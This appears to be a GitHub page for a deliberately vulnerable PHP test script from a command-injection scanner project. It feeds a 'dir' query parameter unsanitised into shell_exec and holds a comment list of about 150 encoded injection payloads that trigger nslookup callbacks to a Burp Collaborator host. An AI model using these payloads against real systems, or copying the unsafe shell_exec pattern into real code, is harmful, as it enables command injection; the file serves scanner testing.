forked from ewilded/shelling
-
Notifications
You must be signed in to change notification settings - Fork 0
/
simple_start_alphanum.php
161 lines (160 loc) · 12.5 KB
/
simple_start_alphanum.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
<?php
# filename: simple_start_alphanum.php
# vulnerable, has to start with an alphanumeric character
# sample payloads:
/*
arg%26nslookup+1211.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg
%0A%60nslookup%09698.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg
arg%3Bnslookup%24IFS%249a1481.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg
arg%26%24%28nslookup%091391.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg
arg%22%3B%60nslookup%091451.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3B%22arg
arg%26nslookup%091355.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg
%26%24%28nslookup+527.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg
arg%22%26%24%28nslookup%091397.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26%22arg
%3B%24%28nslookup%24IFS%249a797.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg
%3Bnslookup%24IFS%249a761.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg
%0Anslookup+242.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
%26nslookup+245.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
;$(nslookup$IFS$9a796.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net);arg
%26%60nslookup%24IFS%249a815.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg
arg%22%24%28nslookup+1568.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%22arg
arg%7Cnslookup%24IFS%249a1472.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg
|`nslookup$IFS$9a823.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`|arg
arg%22%0A%60nslookup%24IFS%249a1532.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0A%22arg
%0Anslookup%24IFS%249a446.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A
arg%22%3B%60nslookup+1307.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3B%22arg
arg%22%3B%60nslookup%24IFS%249a1559.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3B%22arg
%3Bnslookup%09299.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
arg%7C%60nslookup%091436.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg
arg%0Anslookup%091346.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg
arg%22%26%24%28nslookup+1253.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26%22arg
arg%22%7C%60nslookup%24IFS%249a1550.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7C%22arg
arg%26%24%28nslookup+1247.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg
arg%22%0A%60nslookup%091424.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0A%22arg
arg%0Anslookup+1202.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg
arg%0Anslookup+842.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A
arg%22%7C%24%28nslookup%091406.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7C%22arg
%7Cnslookup+500.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg
arg%0Anslookup%24IFS%249a1454.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg
%26nslookup%24IFS%249a743.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg
|$(nslookup$IFS$9a787.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)|arg
arg%22%26%60nslookup%091433.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26%22arg
arg%22%7C%24%28nslookup%24IFS%249a1514.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7C%22arg
arg%22%0A%24%28nslookup+1244.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0A%22arg
arg%0A%60nslookup%091418.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg
arg|$(nslookup$IFS$9a1507.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)|arg
arg%3B%60nslookup%24IFS%249a1553.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg
%0Anslookup+482.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg
arg";`nslookup$IFS$9a1558.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`;"arg
%3B%24%28nslookup%09689.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg
arg%7C%60nslookup%24IFS%249a1544.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg
arg";$(nslookup$IFS$9a1522.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net);"arg
%0A%24%28nslookup+518.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg
%0A%60nslookup%24IFS%249a806.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg
%7C%60nslookup%24IFS%249a824.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg
%0Anslookup%24IFS%249a734.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg
arg%0A%24%28nslookup%091382.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg
%26nslookup%24IFS%249a329.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
arg%3B%24%28nslookup%24IFS%249a1517.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg
%0Anslookup+362.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A
arg%22%3B%24%28nslookup%24IFS%249a1523.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3B%22arg
%3Bnslookup+251.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
arg%3B%24%28nslookup%091409.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg
arg"`nslookup$IFS$9a1612.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`"arg
arg%22%60nslookup%24IFS%249a1613.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%22arg
arg;$(nslookup$IFS$9a1516.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net);arg
%7C%60nslookup%09716.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg
%0Anslookup%09290.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
%26%24%28nslookup%24IFS%249a779.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg
%0Anslookup%24IFS%249a326.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
%0A%24%28nslookup%09662.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg
;nslookup$IFS$9a334.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
%3Bnslookup%09653.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg
arg%24%28nslookup%24IFS%249a1598.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29arg
%0A%60nslookup+554.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg
arg%0Anslookup%09986.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A
arg|nslookup$IFS$9a1471.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net|arg
arg%7C%60nslookup+1292.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg
arg%22%7C%60nslookup+1298.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7C%22arg
arg%22%26%60nslookup%24IFS%249a1541.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26%22arg
%0Anslookup%09626.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0Aarg
arg%7Cnslookup+1220.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg
arg%3B%24%28nslookup+1265.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg
%26nslookup+491.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg
arg%22%60nslookup%091595.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%22arg
arg%22%7C%60nslookup%091442.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7C%22arg
arg%22%3B%24%28nslookup+1271.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3B%22arg
arg%7C%24%28nslookup%24IFS%249a1508.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg
arg%26%60nslookup%24IFS%249a1535.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg
%26nslookup%09293.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
arg"|`nslookup$IFS$9a1549.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`|"arg
%26%60nslookup+563.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg
arg%22%26%60nslookup+1289.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26%22arg
%3B%60nslookup%24IFS%249a833.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg
arg%22%60nslookup+1577.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%22arg
%7C%24%28nslookup%09680.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg
arg%0Anslookup%24IFS%249a1094.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A
arg%22%3B%24%28nslookup%091415.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3B%22arg
arg%24%28nslookup%091580.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29arg
arg%3Bnslookup+1229.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg
%3B%24%28nslookup+545.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%3Barg
arg"$(nslookup$IFS$9a1603.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)"arg
arg`nslookup$IFS$9a1606.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`arg
arg%22%24%28nslookup%091586.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%22arg
%7Cnslookup%09296.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
%26nslookup%09635.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg
arg%0A%60nslookup+1274.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg
%0A%24%28nslookup%24IFS%249a770.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg
%7Cnslookup%24IFS%249a332.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
%3Bnslookup%24IFS%249a335.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
%26%24%28nslookup%09671.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg
arg%7C%24%28nslookup%091400.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg
arg%26%60nslookup+1283.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg
%7C%24%28nslookup%24IFS%249a788.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg
arg%22%0A%24%28nslookup%091388.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0A%22arg
arg%3B%60nslookup%091445.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg
arg%7Cnslookup%091364.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg
arg%26%24%28nslookup%24IFS%249a1499.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26arg
%7C%60nslookup+572.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%7Carg
arg%24%28nslookup+1562.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29arg
arg%26nslookup%24IFS%249a1463.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%26arg
arg%22%26%24%28nslookup%24IFS%249a1505.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%26%22arg
arg;`nslookup$IFS$9a1552.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`;arg
%3Bnslookup+509.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg
%7C%24%28nslookup+536.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg
%7Cnslookup%09644.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg
;`nslookup$IFS$9a832.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`;arg
arg%60nslookup%24IFS%249a1607.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60arg
arg%3Bnslookup%091373.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%3Barg
arg%22%24%28nslookup%24IFS%249a1604.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%22arg
arg%22%0A%24%28nslookup%24IFS%249a1496.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0A%22arg
%7Cnslookup+248.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
arg%3B%60nslookup+1301.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg
arg$(nslookup$IFS$9a1597.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)arg
|nslookup$IFS$9a331.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net
arg%0A%24%28nslookup%24IFS%249a1490.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg
arg%0A%60nslookup%24IFS%249a1526.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0Aarg
%0Anslookup%09410.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%0A
%26%60nslookup%09707.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg
arg%7C%24%28nslookup+1256.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7Carg
arg%22%7C%24%28nslookup+1262.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%7C%22arg
arg%0A%24%28nslookup+1238.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%29%0Aarg
arg%60nslookup%091589.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60arg
arg|`nslookup$IFS$9a1543.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net`|arg
%3B%60nslookup+581.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg
%3B%60nslookup%09725.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%3Barg
%7Cnslookup%24IFS%249a752.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%7Carg
|nslookup$IFS$9a751.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net|arg
;nslookup$IFS$9a760.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net;arg
arg%22%0A%60nslookup+1280.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%0A%22arg
arg%26%60nslookup%091427.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60%26arg
arg"|$(nslookup$IFS$9a1513.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net)|"arg
arg;nslookup$IFS$9a1480.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net;arg
arg%60nslookup+1571.aaoczgn8sf602abvyueovm2ublhp5e.burpcollaborator.net%60arg
*/
if(isset($_GET['dir'])&&preg_match('/\w+$/',$_GET['dir']))
{
echo "Dir contents are:\n<br />".shell_exec("ls {$_GET['dir']}");
}
?>
<a href="?dir=arg">clickme</a>